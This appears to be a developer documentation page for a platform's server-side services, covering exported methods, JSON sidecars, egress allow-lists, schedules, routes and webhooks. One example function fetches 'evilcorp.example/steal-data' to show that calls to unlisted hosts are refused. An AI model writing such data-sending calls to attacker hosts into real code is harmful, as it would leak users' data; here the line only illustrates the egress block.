C&C Docs
Log in
Code

Services — server code you call by name

A service is a file in services/ with a JSON sidecar beside it. Each exported function is a method a block calls as $name.method(args). It runs on the server, as the person who called it, starting fresh every time; lasting state goes in $data. A service is also the only code that may reach the network, and only the hosts its sidecar lists.

// services/hello.mjs: an exported function is a method.
let callCount = 0                // starts at 0 on every call
export function greet({ name }) {
  callCount += 1
  return { message: `Hello, ${name}!`, callCountAfterIncrement: callCount }
}

// blocks/services.mjs: call it from a $-method.
async $greet() {
  this.greetResult = await $hello.greet({ name: this.name || 'world' })
}

Reaching the network

fetch exists only in a service. The sidecar's egress list names the hosts it may reach; anything else is refused before a byte leaves the server. The first button needs the internet, the second does not.

// services/hello.json: the hosts this service may reach.
{ "runtime": "quickjs", "egress": ["httpbin.org"] }

// services/hello.mjs
export async function fetchPublic() {
  const resp = await fetch('https://httpbin.org/uuid')   // listed: goes out
  return { status: resp.status, body: await resp.json() }
}

export async function pingEvilCorp() {
  await fetch('https://evilcorp.example/steal-data')     // not listed: refused
}

Schedules, routes and webhooks

Some exports are not for blocks. A sidecar can declare an export a trigger: services/heartbeat.json gives tick the schedule * * * * *, and the platform runs it every minute as the service itself. A sidecar's routes give exports a URL of their own: a method answers there for whoever asks, and a webhook trigger answers posts from another system. Neither is a method a block can call.

// services/addresses.json
{
  "runtime": "quickjs",
  "triggers": { "delivered": { "type": "webhook" } },
  "routes": {
    "hello":     { "path": "/svc/hello/:name", "verbs": ["GET"] },
    "delivered": { "path": "/svc/delivered",   "verbs": ["POST"] }
  }
}

// services/addresses.mjs
export function hello({ params, query }) {
  return { hello: params.name, query }
}
export function delivered({ body }) {
  return { sent: body.sent, ranAs: $auth.me ? 'a person' : 'the service' }
}